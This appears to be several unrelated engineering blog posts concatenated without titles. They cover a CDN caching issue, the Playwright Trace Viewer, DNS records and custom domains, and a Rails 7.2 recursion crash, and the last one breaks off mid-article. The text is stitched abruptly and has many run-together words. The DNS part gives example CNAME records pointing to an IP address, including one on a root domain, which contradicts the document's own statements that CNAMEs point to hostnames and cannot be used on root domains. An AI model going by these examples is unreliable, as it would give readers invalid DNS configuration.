Neeto uses React.js for the front-end code, and the asset files are hosted atCloudFront. To complicate matters, we use CloudFlare as our DNS resolver.Between CloudFlare and Cloudfront, we were not sure what was being cached and atwhat level. Since this problem was being faced only by our customers, it was abit difficult to reproduce and debug.

The whole setup is like this:

• Browsers make requests to https://cdn.neetox.com/assets/xyz.js
• Clouflare forwards the request to Cloudfront
• CloudFront acting as the caching layer will try to get the data from theNeetoDeploy server and will cache the result

If the browser is not getting the requested file, then in this chain, something didn'twork correctly.

During the investigation, we found that Cloudflare was being a bit mischievousand was doing things it should not be doing. Watch the video to see what I mean.

The video mentioned below is the one I created for the internal Neeto folks. Thevideo is being published as-is without any modifications.

<iframewidth="560"height="315"src="https://www.youtube.com/embed/_TCU14fN08A?si=Xy_o6cpSjGvsFFCm"title="CDN caching issue involving Cloudfront and Cloudflare"frameborder="0"allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"referrerpolicy="strict-origin-when-cross-origin"allowfullscreen

</iframe>

You can see the transcript of the videohere.

We learned so much about Playwright traces while adding the Playwright's tracingcapabilities to NeetoPlaydash. We builtNeetoPlaydash and it is the most affordable Playwright Dashboard. NeetoPlaydashcollects, monitors and debugs Playwright test reports.

What are Playwright traces?

Playwright traces are compressed archives (.zip files) that contain:

• Complete DOM snapshots before, during, and after each action.
• Screenshots of the browser state at every step.
• Network activity, including all HTTP requests and responses.
• Console logs from both the browser and your test.
• Action timeline showing what your test did and when.
• Source code mapping actions back to your test files.
• Metadata about the test environment, browser, and configuration.

Think of traces as a time machine for test execution - we can pause at anymoment and see exactly what the browser looked like, what network calls were inflight, and what our code was doing.

What is the Trace Viewer?

The Trace Viewer is an application used to view and analyze the informationcollected in trace files. Traces are information collected into a zip fileduring test execution. The Trace Viewer makes sense of and displays thisinformation in an interactive interface.

We can view traces in two ways:

• Locally - Using the Trace Viewer app that ships with Playwright (via thePlaywright CLI).
• Online - By visiting trace.playwright.devand uploading our trace file.

Both methods provide the same powerful debugging experience, allowing us tonavigate through our test execution, inspect DOM snapshots, analyze networkrequests, and debug failures.

Understanding the Trace Viewer interface

One can download asample trace fileto follow along with this blog. We can also view it directly in theTrace Viewer.

The Trace Viewer interface is divided into several key areas that work togetherto help us debug your tests.

1. Action Timeline (Top)

A visual filmstrip showing screenshots of our test execution over time. We can:

• Hover to see magnified previews.
• Click to jump to specific moments.
• Double-click an action to focus on its time range.
• Drag to select a range of actions for filtering.

2. The Actions Tab: Our test execution timeline

The Actions tab is typically our starting point. Each action shows:

• Duration anomalies - Actions taking unusually long suggest performanceissues or waiting problems.
• Locator information - Verify that we are targeting the correct elements.
• Action sequence - Ensure actions execute in the expected order.
• Red/failed actions - These are our primary debugging targets.

Hover over each action to see the DOM highlight change in real-time. This helpsverify that Playwright is interacting with the correct element.

Example:

 page.goto("https://app.neetocal.com") - 1.2s page.getByTestId("login-button").click() - 0.3s page.getByTestId("email-input").fill("test@example.com") - 30s TIMEOUT

Here, the fill action timed out. Select the action and use the Before andAfter tabs above the main snapshot viewing area to see why the elementwasn't available.

3. Metadata Tab: Environment context

The Metadata section provides high-level contextual information about thetest execution environment and run characteristics. This information helps inunderstanding when, how, and under what conditions the trace was recorded.

• Time: Displays the start time, end time, and total duration of the test.
• Browser: Displays the browser (e.g., Chromium, Firefox, WebKit), platform,and user agent used during the test run.
• Config: Shows the Playwright configuration applied for the run. Includesrelevant settings such as test options, retries, timeouts, and project-leveloverrides.
• Viewport: Specifies the viewport dimensions used during execution. Helpsdiagnose layout, responsiveness, and visual issues tied to screen size.
• Counts (Metrics): Summarizes key execution metrics captured in the trace,such as:
  • Pages - Pages captured during the trace.
  • Actions - Actions performed during the test.
  • Events - Runtime events logged during execution.

This is particularly useful when:

• Tests pass locally but fail in CI.
• Tests behave differently across browsers.
• Issues are viewport-specific (responsive design bugs).

4. Main Content Area (Center)

The Main Content Area is the primary visual workspace of the Trace Viewer.It displays detailed, interactive views of the application state for theselected action, enabling precise inspection and debugging.

Pick Locator

Allows us to interactively select elements directly from the snapshot.Automatically generates the corresponding Playwright locator, helping validateselectors and improve test reliability.

Snapshots: Time-Travel Debugging

Snapshots capture the complete DOM state at three critical moments:

• Action - The exact moment of interaction (showing the precise clickcoordinates or input position with a red dot).
• Before - State when the action was called.
• After - State after the action is completed.

Using snapshots effectively:

• Compare Before/After to see what changed.
• Inspect element visibility - Was the element actually visible andinteractable?
• Check for overlays - Are modals, loading spinners, or other elementsblocking interaction?
• Verify element state - Is the button disabled? Is the input read-only?

Debugging technique: When a click fails, examine the highlighted clickposition in the Action snapshot. If it's not where we expect, we may have:

• Multiple elements matching your locator (strict mode violation).
• An element that moved during Playwright's auto-wait.
• An element obscured by another element (z-index issues).

Open Snapshot in a New Tab

Opens the current DOM snapshot in a separate browser tab. Useful for deepinspection, side-by-side comparison, or analyzing complex layouts without losingtrace context.

5. Tab Bar (Bottom/Right)

Locator Tab

This is useful to get the locator of any element. Click the Locator button andhover over any component in the snapshot; the locator for that element willappear in the code space below the button. The reverse is also possible - typinga locator in the code space will highlight the corresponding element in the maincontent area, making it easy to verify locators and test selectors.

Call Tab: Action details

The Call tab provides granular information about each action:

• Function signature - The exact Playwright method called.
• Parameters - Arguments passed to the function.
• Locator string - How Playwright found the element.
• Strict mode - Whether strict mode was enforced.
• Timeout - Maximum wait time configured.
• Return value - The resolved value of the Playwright function call.

Example:

await expect(page.getByTestId("publish-btn")).toBeDisabled({ timeout: 10_000 });

The corresponding details would show the function signature, parameters, andexecution result.

Log Tab: Playwright's internal actions

The Log tab reveals what Playwright does behind the scenes. ContainsPlaywright-generated internal logs for the selected action. Provides insightinto retries, waiting behavior, timeouts, and internal decision-making.

 waiting for getByTestId('submit-button'). locator resolved to <button>Submit</button>. scrolling element into view if needed. waiting for element to be visible. waiting for element to be enabled. waiting for element to be stable. waiting for element to receive pointer events. performing click action. click action completed.

Why this matters: Understanding Playwright's auto-wait mechanism helps us infollowing areas:

• Identify which wait condition failed.
• Optimize your locators.
• Add appropriate waits when auto-wait isn't sufficient.
• Debug flaky tests caused by race conditions.

Errors Tab: Failure analysis

When tests fail, the Errors tab is our first stop. It shows:

• Error messages with stack traces.
• Playwright's failure reason.
• Timeout information.
• Expected vs. actual states (for assertions).

The timeline also highlights errors with a red vertical line, making it easyto see when things went wrong. Lists errors and exceptions associated with theaction or test step. Includes failure messages, stack traces, and error types toquickly identify what went wrong.

Console Tab: Browser and test logs

The Console tab shows all console output, including:

• console.log, console.error, console.warn from our application.
• Browser warnings and errors.
• Test framework logs.
• Playwright's internal logs.

Visual indicators:

• Different icons distinguish between browser console logs and test logs.
• Error messages are highlighted in red.
• Warnings appear in yellow.

Filtering console logs: Double-click an action in the sidebar to filterconsole logs to only that action's timeframe. This is crucial when dealing withverbose applications.

Common patterns to look for:

// React errorsWarning: Can't perform a React state update on an unmounted component// Network errorsFailed to load resource: the server responded with a status of 404// Application errorsUncaught TypeError: Cannot read property 'id' of undefined// CORS issuesAccess to fetch at 'https://api.example.com' has been blocked by CORS policy

The Network Tab: API and resource investigation

The Network tab is invaluable for debugging issues related to:

• API failures.
• Slow page loads.
• Missing resources.
• Authentication problems.

Key columns:

• Method (GET, POST, PUT, DELETE, etc.)
• URL (full request path)
• Status (200, 404, 500, etc.)
• Content Type (application/json, text/html, etc.)
• Duration (request time)
• Size (response size)

Filtering network requests:

• Use the timeline to select a specific action range.
• The network tab automatically filters to show only requests during thatperiod.

What to investigate:

 GET /api/auth/session - 200 - 45ms - application/json POST /api/bookings/create - 500 - 2.1s - application/json GET /api/user/profile - 200 - 89ms - application/json

The 500 error on the booking creation is our culprit. Click on it to see:

• Request headers - Is authentication included (CSRF token)?
• Request body - Is the payload correct?
• Response headers - Any CORS issues?
• Response body - What error message did the server return?

Source Tab: Connecting traces to code

The Source tab displays our test code and highlights the exact linecorresponding to the selected action. This is crucial for:

• Understanding what your test was trying to do.
• Verifying locators and test logic.
• Jumping between test code and execution results.

Workflow:

1. Click an action in the sidebar.
2. Source tab automatically shows the relevant code line.
3. Review the locator, expected behavior, and assertions.
4. Cross-reference with the DOM snapshot to verify assumptions.

Attachments Tab: Visual regression and screenshots

For tests using visual comparisons or custom attachments, this tab shows:

• Screenshot comparisons (expected, actual, diff)
• Image slider to overlay images and spot differences
• Custom attachments added via test.attach()
• Screenshots & Video recordings (if configured)

Visual regression workflow:

1. Navigate to the Attachments tab.
2. View the diff image, highlighting differences in red.
3. Use the slider to compare expected vs. actual.
4. Determine if changes are legitimate or bugs.

Advanced debugging techniques

1. Time-Range filtering for complex tests

For long-running tests with many actions:

1. Click a starting point on the timeline.
2. Drag to an ending point.
3. All tabs (Actions, Network, Console) filter to this range.
4. Focus your investigation on the relevant portion.

2. Network request correlation

When debugging API-dependent tests:

1. Find the failing action.
2. Check the Network tab for API calls during that action.
3. Verify request/response timing.
4. Ensure data contracts match expectations.

Example investigation:

Test: User creates a booking.Action: page.click("button[type=submit]").Network: POST /api/bookings/create - 400 Bad Request.Response: {"error": "Invalid time slot"}.Conclusion: Form validation passed, but the API rejected the data.Next step: Check whether the time slot selection logic has a bug.

3. Console error causation

Browser console errors often precede test failures:

1. Review the Console tab chronologically.
2. Look for errors before the failing action.
3. JavaScript errors may prevent event handlers from working.
4. Network errors may leave the UI in an invalid state.

4. Locator strategy validation

When the element isn't found:

1. Check the Before snapshot - is the element present?
2. Review the Call tab - is the locator correct?
3. Use browser DevTools on the snapshot to test alternative locators

5. Race condition detection

Flaky tests often have race conditions:

1. Compare traces from passed vs. failed runs.
2. Look for timing differences in the Network tab.
3. Check if elements appear/disappear between snapshots.

Common debugging scenarios

Scenario 1: "Element Not Found" errors

Trace analysis steps:

1. Navigate to the failing click/fill action.
2. Examine the Before snapshot - is the element in the DOM?
3. Check the Console for JavaScript errors that might prevent rendering.
4. Review Network tab - did the page load completely?
5. Verify the locator in the Call tab matches the element you expect.

Possible causes:

• Element hasn't rendered yet (needs waitForSelector).
• Wrong locator (typo, dynamic attributes).
• Element is in a different frame/iframe.
• Previous action failed, leaving UI in an unexpected state.

Scenario 2: "Timeout Waiting for Element" errors

Trace analysis steps:

1. Check element visibility in the Before snapshot.
2. Look at the element's CSS properties (display, opacity, visibility).
3. Check for z-index issues or overlapping elements.
4. Review the Network tab for slow API responses blocking the UI.
5. Check the Console for loading state indicators.

Possible causes:

• CSS hides the element.
• Loading spinner still active.
• API call hasn't completed.
• Modal or overlay blocking interaction.
• Element removed and re-added (Playwright lost reference).

Scenario 3: API failures causing test failures

Trace analysis steps:

1. Filter the Network tab to the action's timeframe.
2. Find failed API requests (4xx, 5xx status codes).
3. Inspect request payload - is test data valid?
4. Check the response body for error details.
5. Verify authentication headers are present.

Possible causes:

• Test data doesn't match API validation rules.
• Authentication token expired (X-CSRF token).
• Database state inconsistent (previous test didn't clean up).
• API endpoint changed (version mismatch).

Scenario 4: Tests pass locally but fail in CI

Trace analysis steps:

Run the test locally as well and open the traces for both runs (local and CI):

1. Compare the Metadata tab - check browser, viewport, timezone differences
2. Look for timing differences in action durations
3. Check for environment-specific console errors
4. Compare Network tab - are API endpoints different?

Possible causes:

• Timezone-dependent test data.
• Slower CI environment (needs longer timeouts).
• Different environment variables.
• Some other tests are affecting the test (very rare case).

Scenario 5: Flaky tests (Intermittent failures)

Trace analysis steps:

1. Compare traces from multiple runs (passed and failed).
2. Look for timing variations in Network requests.
3. Check for race conditions between actions.
4. Review auto-wait logs for differences in element stability.
5. Look for animations or transitions affecting element states.

Possible causes:

• Race conditions between UI updates and test actions.
• Async operations without proper waits.
• Animations not completing before interaction.
• Network request order is non-deterministic.
• Shared test state between test runs.

Best practices for trace analysis

1. Start with the error

Always begin at the point of failure. The Errors tab and red timeline markersguide you directly there.

2. Trace backwards

After identifying the error, trace back through the actions to determine itsroot cause, which may be linked to an event that occurred several steps earlier.

3. Compare known-good traces

If you have a passing trace, compare it side-by-side with the failing trace tospot differences quickly.

4. Use timeline filtering liberally

Don't drown in information. Filter the timeline to focus on relevant actions andreduce noise.

5. Correlate across tabs

True debugging power comes from correlating information across tabs:

• Action timing + Network requests + Console logs = complete picture

6. Document your findings

When you identify the root cause, document it:

• Add comments to your test code.
• Update test data or fixtures.
• Fix race conditions with proper waits.
• Report application bugs with trace evidence.

7. Configure appropriate trace collection

In your playwright.config.ts:

export default defineConfig({  use: {    // Capture trace only on first retry (recommended for CI)    trace: "on-first-retry",    // Or retain traces only for failures    // trace: 'retain-on-failure',    // For local debugging, enable traces for all tests    // trace: 'on',  },  // Enable retries to capture traces on failures  retries: process.env.CI ? 2 : 0,});

Trace Viewer keyboard shortcuts

Speed up your analysis with these shortcuts:

• Arrow keys - Navigate between actions.
• Esc - Clear selection/filtering.
• Ctrl/Cmd + F - Search within trace.

Accessing traces in NeetoPlaydash

NeetoPlaydash is a test management platformthat integrates seamlessly with Playwright's tracing capabilities. When a testruns on CI, Playwright automatically generates trace files. To access them:

1. Navigate to NeetoPlaydash - Open your projects dashboard.
2. Select a Test Run - Choose the test execution you want to investigate fora particular project.
3. Open Test Details Pane - View the details of a specific test.
4. Click "Open Trace" - This button launches the Trace Viewer with yourtest's trace file.

The trace opens in your browser at trace.playwright.dev or locally via thePlaywright CLI, providing a complete, interactive debugging experience withoutrequiring manual file downloads.

Further resources

• Playwright Trace Viewer Documentation
• Playwright Best Practices
• Debugging Playwright Tests
• Online Trace Viewer
• Learn QA Automation using Playwright Course

The Basics of DNS Records

A Domain Name System (DNS) is a hierarchical and decentralized naming system forcomputers and servers connected to the Internet. It essentially translateshuman-readable domain names into machine-readable IP addresses.

What is a Domain Name?

A Domain Name is a unique, human-friendly label used to identify one or more IPaddresses. It's what people type into a web browser to visit a website. Forexample, google.com and wikipedia.org are domain names.

Purchasing a New Domain Name

You don't buy a domain name outright. Technicall,y you register the right to useit for a specified period (typically 1 to 10 years) from a Domain NameRegistrar. These are called "registrars" because you are registering the rightto use the domain name.

Popular Domain Name Registrars are GoDaddy, Namecheap, Cloudflare and Porkbun.

DNS Records: Types and Uses

DNS Records provide information about a domain, primarily mapping hostnames toIP addresses. There are many different types of DNS records. We would be lookingat the important ones.

A Record

"A record" stands for "Address record". It maps a domain name (like google.com)to an IPv4 address (like 93.184.216.34).

AAAA Record

This does exactly the same thing as A record but for the IPv6 address. Four Assignifies a bigger address range.

CNAME Record

"CNAME record" stands for "Canonical Name Record".

Instead of pointing directly to an IP address like an A record does, a CNAMEpoints one hostname to another hostname.

An example of CNAME record could be: blog.bigbinary.com ->bigbinary.github.io.

What CNAME is saying here is that if you are visiting blog.bigbinary.com, thenthis record doesn't have the IP address information. If you want an IP address,then ask for that info from bigbinary.github.io. Remember that IP addressesare provided by A and AAAA records.

Another way of looking at it is that an A record provides the IP address,while CNAME provides the address of the next machine to which we can ask for theIP address.

Please note that it is quite possible that the next machine might have anotherCNAME and that in turn might have another CNAME.

The main point is that CNAME keeps the record of the next machine to ask for. Inthe end, some machine has to have an A or AAAA record so that a domain is mappedto an IP address.

MX Record

"MX Record" stands for "Mail Exchanger Record".

It specifies the mail servers responsible for accepting email messages on behalfof of a domain.

TXT Record

A TXT record (Text record) lets a domain owner store arbitrary text data in DNS.Other services then look up that text to verify ownership, check email policies,etc. Think of it like a sticky note that the domain owner can add for others toread.

Here are some use cases of the TXT record:

Adding SPF records

bigbinary.com. IN TXT "v=spf1 ip4:198.51.100.10 include:_spf.google.com -all"

Domain verification

Here is an example of site verification by Google Site.

bigbinary.com. IN TXT "google-site-verification=asduiashd9812h98asdh"

Adding DMARC records

_dmarc.bigbinary.com. IN TXT "v=DMARC1; p=reject; rua=mailto:dmarc@example.com"

NS Record

NS stands for "Name servers".

Let's say that a user types in the URL https://blog.neeto.com. The job of theDNS system is to ultimately find an IP address to which the request can be sent.Now, let's think about how to go about searching for the IP address.

We need to ask some machine for more information about blog.neeto.com. Thatinformation could be a CNAME record, an A record, or a AAAA record. But theproblem is who should be asked. From where we start the journey.

That's where the NS record comes into the picture. Remember, each domain isregistered with a registrar. So that's where the DNS system starts the journey.First, DNS will ask the registrar of the domain, "Hey, can you give me the Nameservers to whom I can start asking questions?"

Let's take a practical case and execute the following command on the terminal:

whois neeto.com

We'll get a lot of data, but we want to concentrate on the following six lines:

Domain Name: NEETO.COMRegistrar WHOIS Server: whois.cloudflare.comRegistrar: Cloudflare, Inc.Registrar URL: https://www.cloudflare.comName Server: BARBARA.NS.CLOUDFLARE.COMName Server: YEW.NS.CLOUDFLARE.COM

We can see that the Registrar for neeto.com is "Cloudflare". We also see thatthe Name servers are two servers, which are also clouflare.com. The people whodesigned name servers dictated that there should always be at least two nameservers. In this way, if one of them goes down for any reason, the overallsystem is still working.

Taking our example of blog.neeto.com, if we need a CNAME record, an A record,or a AAAA record, then we need to start asking those questions to these two nameservers.

Now let's do the same experiment with another domain. This time, we will choosehttps://bigbinary.com.

whois bigbinary.com

This time, we will get the following lines.

Domain Name: BIGBINARY.COMRegistrar: GoDaddy.com, LLCRegistrar WHOIS Server: whois.godaddy.comRegistrar URL: http://www.godaddy.comName Server: BARBARA.NS.CLOUDFLARE.COMName Server: YEW.NS.CLOUDFLARE.COM

Notice that this time the registrar is GoDaddy, but the Name servers arecloudflare.com. This is because bigbinary.com is registered with GoDaddy.When a domain is purchased from a registrar, the default values of the nameservers will point to the registrar's name servers. So after the initialregistration, bigbinary.com had the GoDaddy name servers, but has chosen notto use them. With the help of NS records, BigBinary has told GoDaddy thatBigBinary doesn't want to use GoDaddy's name servers and wants GoDaddy to usethe Cloudflare name servers. This will mean that all the future DNS records forbigbinary.com can be maintained in Cloudflare.

This goes on to show that one is not restricted to the name servers of theregistrars.

Name servers, just like CNAME records, never point to an IP address. They alwayspoint to another host name.

Different parts of a URL

Protocol

The protocol is the initial part that specifies the set of methods used fortransferring data between a web browser and a server. The server essentiallytells the browser how to communicate. The most common protocols are http(Hypertext Transfer Protocol) and its secure version https (Hypertext TransferProtocol Secure).

Top-Level Domain (TLD)

A Top-Level Domain (TLD) is the very last part of a domain name, located afterthe final dot.

For example, in google.com the .com is the Top-Level Domain (TLD). Common TLDsare .com, .org, .net etc.

Subdomain

A subdomain is a label that comes before the main part of a domain name.

For example, in the address blog.bigbinary.com the blog is the subdomain.

We can have a.b.c.d.e.f.blog.bigbinary.com. Technically upto 127 levels ofsubdomain is allowed.

Root domain

A root-level domain is the base name of a website. For example, inwww.google.com the .com part is the TLD and google.com part is the rootlevel domain.

Strange case of www subdomain

Let's say that we registered a brand new domain called spinjudo.com withCloudflare. We have our marketing site up and running on Vercel, and we want tohost our blog on WordPress. So we will add these two DNS records.

For our marketing site, we will add a CNAME record something like this:

spinjudo.com IN CNAME 76.76.21.21

And then for the blog, we will add another CNAME record something like this:

blog   IN   CNAME   domains.wordpress.com.

So now both https://spinjudo.com and https://blog.spinjudo.com are working.

But what about https://www.spinjudo.com.

Developers often forget that users can type https://spinjudo.com or they canalso type https://www.spinjudo.com.

Time to time in your life, you might have come across cases where a site isworking only with www or only without www. That's because the developerseither took care of www and forgot to take care of the root domain or thedeveloper took care only of the root domain and not of www.

Technically, www is a subdomain and that needs to be taken care of too. Inthis case for spinjudo.com we need to add one more CNAME record for www andthat might look like this:

www IN CNAME 76.76.21.21

Rules regarding CNAME records

The first rule is that CNAME records can only be added to subdomains. Itmeans CNAMES can't be added to root domains. That's the rule.

However, some DNS providers allow a technique to bypass this rule. They providea different type of record called "ANAME" record which allows CNAME for rootdomains.

In general, we advise against using ANAME records.

The second rule is that if a subdomain has a CNAME record, then that subdomaincan't have any more records.

Why do we need to wait for some time after updating the domain

If you change anything related to DNS you are asked to wait 24 to 48 hours forthe change to propoage. What does that mean?

If you type www.neeto.com into your browser, it uses its DNS cache. The browsermight not even ask anyone what the ip address of www.neeto.com is. This isbecause maybe 20 seconds ago you visited www.neeto.com and now you refreshed thepage.

If the browser really needs an updated DNS value, then the browser will sendthat request to your laptop. Your laptop has a DNS cache. Your laptop might notask anyone for the updated DNS value for a while.

Now, if the laptop needs to know the DNS valu,e then the laptop will ask for anansewr to the root servers.

There are only 13 root servers in the world. These root servers are named from"A" to "M". However just because there are 13 root servers it doesn't mean thatthere are only 13 servers. Each of those 13 root servers are running behind lotsof physical servers.

The complete list of physical servers can be found at https://root-servers.org.

Root servers do not know the answer to every question. However, they do know theaddress of the servers that can answer your questions. For example, if your TLDis .com, then the root server will send you to a different server. If your TLDis .net then you will asked to go to a different machine. Similarly, there areservers to serve TLDs like .co.uk, .in etc.

Note that at each layer, there is some amount of DNS caching. To ensure that theupdated value is completely updated throughout the Internet of the whole worldwe need to give some time for the old cached value to be removed.

The way these servers work also shows the decentralized nature of DNS. There isno one single place where all the DNS values of the world is stored. DNS valuesare stored at different places, but there is a path to get to those values allthe way from the root servers.

neeto-custom-domains-frontend package

Adding a custom domain could be intimidating. People are asked to change DNSrecords, which they might not have touched for years. A small misconfigurationhas the potential to bring the whole website down. To ensure that the userexperience of adding a "custom domain" is great, we atNeeto decided to go the extra mile.

We bought one domain each at the following name registrars:

• Cloudflare
• Namecheap
• Hostinger
• Digital Ocean
• Wix
• Porkbun
• Squarespace
• AWS route 53
• Network solutions
• Godaddy
• Strato
• Microsoft 365

We checked out how they ask their users to make DNS entries and we captured thescreenshots. Now, depending on what "name server" the user is dealing with wedisplay a help message and help screens customized for that user.

For example, if a user is using Cloudflare as their name server then the helpscreen might look like this.

Notice that the above image has a column called "Proxy" which is cloudflarespecific.

If the domain registrar is GoDaddy then the help screen might look like this.

At Neeto we build a number of products and almost all theproducts need the feature of "custom domain". To share the code related todomain handling in a consistent manner, we have built a utility tool namedneeto-custom-domains-engine.

When a user adds a domain to the Neeto product, this tool finds the name serverof that domain. Then we check if we have the custom help screen and helpinstructions for that name server or not. If we don't, then we provide generichelp instructions.

Validating DNS records

Now that the user has added the custom domain, Neeto needs to verify that thoseDNS records are indeed added.

If a user tries to add the domain www.spinjudo.com, then Neeto will ask theuser to add following CNAME for www.

Now, let's assume that the user has added that record. Now we need to verifythis record. Let's execute the following command from the terminal.

nslookup -type=CNAME www.spinjudo.com

We should see a response similar to this:

Non-authoritative answer:www.spinjudo.comcanonical name = dns.neetodeployapp.com.

Here We can see that the DNS record has propagated properly for this domain andit's receiving the expected value. Now, let's see how this would look for arecord without the proper records added.

nslookup -type=CNAME www.spinjudo2.com

This is the response we will get for spinjudo2.

Non-authoritative answer:*** Can't find www.spinjudo2.com: No answer

This could mean two things.

1. Either the user has not added the records properly.
2. The records have been added, but they have not propagated properly. Sometimesit can take upto 48 hours for the added records to be seen.

In this case we saw the example of validating CNAME records. However sameprocess is followed when it comes to validating A records or AAAA records.

Traefik to route the custom domain

Typically, when it comes to deploying an application one can deploy theapplication using services like Heroku, Render, Railways or directly on cloudservices like EC2, GCP, Azure etc. At Neeto, we decided to build NeetoDeploy.It's a service similar to Heroku for our internal use.

NeetoDeploy uses Traefik, which is a leadingmodern open source reverse proxy. In simple terms, Traefik is a load balancer.All requests come to the load balancer and then the requests are routed to theright place.

Earlier, we talked about setting up a custom domain. I have setup custom domainfor https://calendar.spinjudo.com. As part of setting up a custom domain, Iadded a CNAME for dns.neetodeployapp.com.

After adding the CNAM,E Neeto validated the record. Once Neeto determines thatthe user has correctly added the CNAME then Neeto adds these custom domains toTraefik. In reality, four records are added as shown in the picture.

In total, we see four records. The first records are "websecure". It means theyhave https turned on. The last two are just web. It means they supporthttp.

Once a request for a domain for calendar.spinjudo.com comes, then thoserequests will be sent to NeetoDeploy's Traefik. Traefik will map thatcalendar.spinjudo.com to an instance of the NeetoCal application and therequest will be forwarded to that server.

Please note that Traefik doesn't fulfill the request. Traefik acts as a loadbalancer and sends the request to the right server.

Finding the ip address

When a user types https://calendar.spinjudo.com, then the browser needs to knowthe ip address to which to hit. In other words, we ultimately need to know the Arecord.

We can use the tool dig to find the final A record value when a user visitshttps://calendar.spinjudo.com. First, let's see the tool in action.

dig +noall +answer calendar.spinjudo.com A

The response we get is following:

calendar.spinjudo.com. 60 INCNAMEdns.neetodeployapp.com.dns.neetodeployapp.com.60INCNAMEa7b4fc193275e43ea9ba2b7753b080dc-6ad6aaca90bd0ea4.elb.us-east-1.amazonaws.com.a7b4fc193275e43ea9ba2b7753b080dc-6ad6aaca90bd0ea4.elb.us-east-1.amazonaws.com. 60 IN A 34.233.85.113

The first line is a CNAME to dns.neetodeployapp.com.

The second line is a CNAME to an EC2 instance on AWS.

The third line is an A record, which gives us the ip address of the machine.

In the above command, we used +noall and +answer. The +noall is reallyuseful. It means "just hide all the output". By default, dig output spits alot of information. By using +noall we tell dig to go on quite mode.

And then we tell dig to show data for the "answer" section by using +answer.

Similarly, using dig +noall +authority will show only the data about the"authority" section.

Issuing SSL certificate

We know that a user can visit http://spinjudo.com or the user can also visithttps://spinjudo.com. To serve HTTPS, we need SSL certificates.

We can use the user to purchase SSL certificate, configure it and apply it butthat would be too cumbersome for our users.

To generate SSL certificate we will useLet's Encrypt which issues free trusted SSLcertificates.

SSL certificates are issued using the Automatic Certificate ManagementEnvironment (ACME) protocol by Let's Encrypt. This is a simple protocol by whichthe service can verify the authenticity and ownership of the requested website.

The process of domain validation, issuinga certificate and then renewingcertificate could be a bit daunting. To make life easier, Let's Encrypt hasprovided certbot. This tool makes it easier to getSSL certificate from Let's Encrypt.

It's worth noting that the certificate issued by Let's Encrypt is valid only for3 months. Before the certificate expires, we need to ask Let's Encrypt to issuea new certificate and that certificate will be valid for another 90 days.

NeetoCal using Cloudflare

NeetoCal and other Neeto products use Cloudflare astheir name servers.

If we look at the NeetoCal DNS record, then this is what we see.

Adding a * in place of the name of the record is known as a wildcardcharacter. This serves as a catch-all for any undefined subdomain, meaning allthe subdomains that do not have an explicit DNS record associated with it willbe matched by this record. As we can see in the picture above, the * value isproxied. What it means is that any attempt to connect to the NeetoCal IP addressfirst hits the Cloudflare server. Cloudflare server runs a bunch of checks onthe incoming requests, and then passes that request to the intended IP address.

For example, if I'm getting a lot of spammy requests from Spain, then I canconfigure Cloudflare to prevent requests coming from Spain. Or I can rate limitrequests for /login url and things like that.

If we do not use proxy, then that means the user is directly connecting to theNeeto server and Cloudflare is not in the picture. In this case, if aDDoSattack happens, then Cloudflare will not be able to protect us.

Identifying the problem

The crash happened inside Slots::SyncAllCalendarsService, a service that syncsmultiple calendars concurrently using the Async gem. What made it particularlypuzzling was that switching from Async::Barrier to Thread.new made the errordisappear. This led us down a rabbit hole thinking it was an Async-specificissue.

The stack trace pointed to a strange location:

activerecord (7.2.1.1) lib/arel/visitors/to_sql.rb:898:in `each'  from lib/arel/visitors/to_sql.rb:898:in `each_with_index'  from lib/arel/visitors/to_sql.rb:898:in `inject_join'  from lib/arel/visitors/to_sql.rb:627:in `visit_Arel_Nodes_Or'  ... 1132 levels...

Over a thousand levels deep into visit_Arel_Nodes_Or. That's unusual. Whywould visiting OR nodes in a SQL query cause such deep recursion?

The stack trace mentioned Slots::SyncAllCalendarsService, but that serviceitself had nothing obviously wrong. It was just iterating through calendars andsyncing them. We traced deeper into the code and found the actual culprit inNeeto's Integrations::Icloud::SyncEventsService:

def abandoned_events  pairs = event_params.map { |e| [e[:url], e[:recurrence_id]] }  @_abandoned_events = calendar.events    .where("start_time BETWEEN ? AND ?", start_time, end_time)    .where.not([:url, :recurrence_id] => pairs)end

This code finds "abandoned" events by excluding events that match specific URLand recurrence ID combinations. In production, pairs contained 233 entries.Nothing immediately suspicious, right?

To understand what was happening, we needed to see what Rails was actually doingwith this query. The where.not([:url, :recurrence_id] => pairs) syntax isRails' composite key feature. With 233 pairs, Rails generates SQL like this:

WHERE NOT (  (url = 'url1' AND recurrence_id = 'rec1') OR  (url = 'url2' AND recurrence_id = 'rec2') OR  (url = 'url3' AND recurrence_id = 'rec3') OR  -- ... 230 more OR clauses)

233 OR clauses. That's a lot, but databases can handle it. The problem wasn'tthe SQL itself - it was how Rails built the internal representation of thatquery.

Going into Rails Internals

To really understand what changed, we used bundle open activerecord to look atthe Rails source code. We compared the same code in Rails 7.1.5.2 and 7.2.1.1.

What We Found in Rails 7.1.5.2

In Rails 7.1.5.2, the code that visits OR nodes looked like this:

def visit_Arel_Nodes_Or(o, collector)  stack = [o.right, o.left]  while o = stack.pop    if o.is_a?(Arel::Nodes::Or)      stack.push o.right, o.left    else      visit o, collector      collector << " OR " unless stack.empty?    end  end  collectorend

This is an iterative approach using a manual stack. No matter how deeply nestedthe OR conditions are, this code only uses a single stack frame for thevisit_Arel_Nodes_Or method. It's stack-safe.

What Changed in Rails 7.2.1.1

In Rails 7.2.1.1, the same method became much simpler:

def visit_Arel_Nodes_Or(o, collector)  inject_join o.children, collector, " OR "end

Where inject_join does:

def inject_join(list, collector, join_str)  list.each_with_index do |x, i|    collector << join_str unless i == 0    collector = visit(x, collector)  # Recursive call  end  collectorend

This is a recursive approach. If an OR node contains another OR node, it callsvisit, which calls visit_Arel_Nodes_Or, which calls inject_join again. Therecursion depth grows with the nesting depth of the OR tree.

The Tree Structure Problem

But why is the OR tree so deeply nested? We found the answer in Active Record'sPredicateBuilder#grouping_queries:

def grouping_queries(queries)  if queries.one?    queries.first  else    queries.map! { |query| query.reduce(&:and) }    queries = queries.reduce { |result, query| Arel::Nodes::Or.new([result, query]) }    Arel::Nodes::Grouping.new(queries)  endend

That reduce call is the key. It builds a left-deep nested tree:

Level 1:  Query1 OR Query2 = OR_Node_1Level 2:  OR_Node_1 OR Query3 = OR_Node_2Level 3:  OR_Node_2 OR Query4 = OR_Node_3...Level 232: OR_Node_231 OR Query233 = OR_Node_232

With 233 pairs, this creates 232 levels of nesting. Each level addsapproximately 5 stack frames when Rails traverses it recursively. That's 1,160stack frames just for the query building.

The Async Connection

